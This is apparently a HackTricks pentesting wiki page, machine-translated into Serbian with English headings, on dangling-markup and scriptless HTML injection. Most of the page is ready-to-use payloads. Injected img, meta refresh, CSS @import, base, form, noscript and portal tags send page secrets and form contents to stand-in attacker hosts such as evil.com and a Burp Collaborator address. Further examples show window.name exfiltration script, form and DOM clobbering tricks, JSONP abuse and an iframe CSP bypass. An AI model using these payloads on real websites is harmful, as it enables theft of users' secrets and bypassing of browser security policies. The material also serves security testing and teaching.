14 KiB
Dangling Markup - HTML scriptless injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Resume
Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se HTML injekcija pronađe. Ovo je veoma korisno ako ne pronađete način da iskoristite XSS ali možete injektovati neke HTML tagove.
Takođe je korisno ako je neka tajna sačuvana u čistom tekstu u HTML-u i želite da je izvučete od klijenta, ili ako želite da obmanete neku izvršavanje skripte.
Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih Content Security Policy eksfiltracijom informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Main Applications
Stealing clear text secrets
Ako injektujete <img src='http://evil.com/log.cgi?
kada se stranica učita, žrtva će vam poslati sav kod između injektovanog img
taga i sledeće navodnike unutar koda. Ako se neka tajna nekako nalazi u tom delu, ukrasti ćete je (možete uraditi istu stvar koristeći dvostruke navodnike, pogledajte šta bi moglo biti zanimljivije za korišćenje).
Ako je img
tag zabranjen (zbog CSP-a na primer) možete takođe koristiti <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Napomena da Chrome blokira HTTP URL-ove sa "<" ili "\n" u njima, pa možete probati druge protokole kao što je "ftp".
Takođe možete zloupotrebiti CSS @import
(će poslati sav kod dok ne pronađe ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Možete takođe koristiti <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Možete takođe umetnuti <base
tag. Sve informacije će biti poslate dok se citat ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će <base
tag promeniti domen na koji link upućuje):
<base target=' <--- Injected
steal me'<b>test</b>
Krađa obrazaca
<base href='http://evil.com/'>
Zatim, forme koje šalju podatke na putanju (kao što je <form action='update_profile.php'>
) će slati podatke na zloćudnu domenu.
Stealing forms 2
Postavite zaglavlje forme: <form action='http://evil.com/log_steal'>
ovo će prepisati sledeće zaglavlje forme i svi podaci iz forme će biti poslati napadaču.
Stealing forms 3
Dugme može promeniti URL na koji će informacije iz forme biti poslate sa atributom "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Napadač može koristiti ovo da ukrade informacije.
Pronađite primer ovog napada u ovom izveštaju.
Krađa tajni u čistom tekstu 2
Koristeći najnoviju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
<input type='hidden' name='review_body' value="
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad kombinuje "Krađu tajnih podataka u čistom tekstu" sa "Krađom formi2".
Možete učiniti istu stvar injektovanjem forme i <option>
taga. Svi podaci do zatvorenog </option>
će biti poslati:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Injekcija parametara forme
Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti neočekivana radnja:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Krađa tajni u čistom tekstu putem noscript
<noscript></noscript>
Je oznaka čiji će sadržaj biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/isključiti Javascript u Chrome-u na chrome://settings/content/javascript).
Način za eksfiltraciju sadržaja web stranice od tačke injekcije do dna na sajt koji kontroliše napadač biće injektovanje ovoga:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypassing CSP with user interaction
Iz ovog portswiggers istraživanja možete saznati da čak i iz najviše CSP ograničenih okruženja možete još uvek izvući podatke uz malo interakcije korisnika. U ovoj prilici ćemo koristiti payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Napomena da ćete tražiti od žrtve da klikne na link koji će ga preusmeriti na payload koji kontrolišete. Takođe, napomenite da će target
atribut unutar base
taga sadržati HTML sadržaj do sledeće jednostruke navodnike.
To će učiniti da će vrednost window.name
ako se link klikne biti sav taj HTML sadržaj. Stoga, pošto kontrolišete stranicu na kojoj žrtva pristupa klikom na link, možete pristupiti tom window.name
i ekfiltrirati te podatke:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Zavaravajući tok skripte 1 - HTML namespace napad
Umetnite novu oznaku sa id-jem unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacija deliti:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Zavaravajući tok skripte 2 - Napad na prostor imena skripte
Kreirajte promenljive unutar javascript prostora imena umetajući HTML tagove. Tada će ova promenljiva uticati na tok aplikacije:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Zloupotreba JSONP-a
Ako pronađete JSONP interfejs, mogli biste biti u mogućnosti da pozovete proizvoljnu funkciju sa proizvoljnim podacima:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ili možete čak pokušati da izvršite neki javascript:
<script src='/search?q=a&call=alert(1)'></script>
Iframe zloupotreba
Dečiji dokument ima mogućnost da pregleda i menja location
svojstvo svog roditelja, čak i u situacijama sa različitim poreklima. To omogućava umetanje skripte unutar iframe koja može preusmeriti klijenta na proizvoljnu stranicu:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Ovo se može ublažiti nečim poput: sandbox=' allow-scripts allow-top-navigation'
Iframe se takođe može zloupotrebiti da bi se otkrile osetljive informacije sa druge stranice koristeći atribut imena iframe-a. To je zato što možete kreirati iframe koji se sam iframe-uje zloupotrebljavajući HTML injekciju koja čini da osetljive informacije izgledaju unutar atributa imena iframe-a i zatim pristupiti tom imenu iz inicijalnog iframe-a i otkriti ga.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
Možete koristiti meta http-equiv
za izvođenje several actions kao što je postavljanje kolačića: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ili izvođenje preusmeravanja (u 5s u ovom slučaju): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Ovo se može avoided sa CSP u vezi sa http-equiv ( Content-Security-Policy: default-src 'self';
, ili Content-Security-Policy: http-equiv 'self';
)
New <portal HTML tag
Možete pronaći veoma interesting research o iskoristivim ranjivostima <portal taga here.
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u chrome://flags/#enable-portals
ili neće raditi.
<portal src='https://attacker-server?
HTML Leaks
Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Ovo je mešavina između dangling markup i XS-Leaks. S jedne strane, ranjivost omogućava injekciju HTML-a (ali ne JS) na stranicu iste domene kao ona koju ćemo napadati. S druge strane, nećemo napadati direktno stranicu na kojoj možemo injektovati HTML, već druguu stranicu.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search su orijentisane na ekstrakciju informacija iz različitih domena zloupotrebom napada putem sporednih kanala. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su CSS Injection ili Lazy Load Images.
{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
References
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.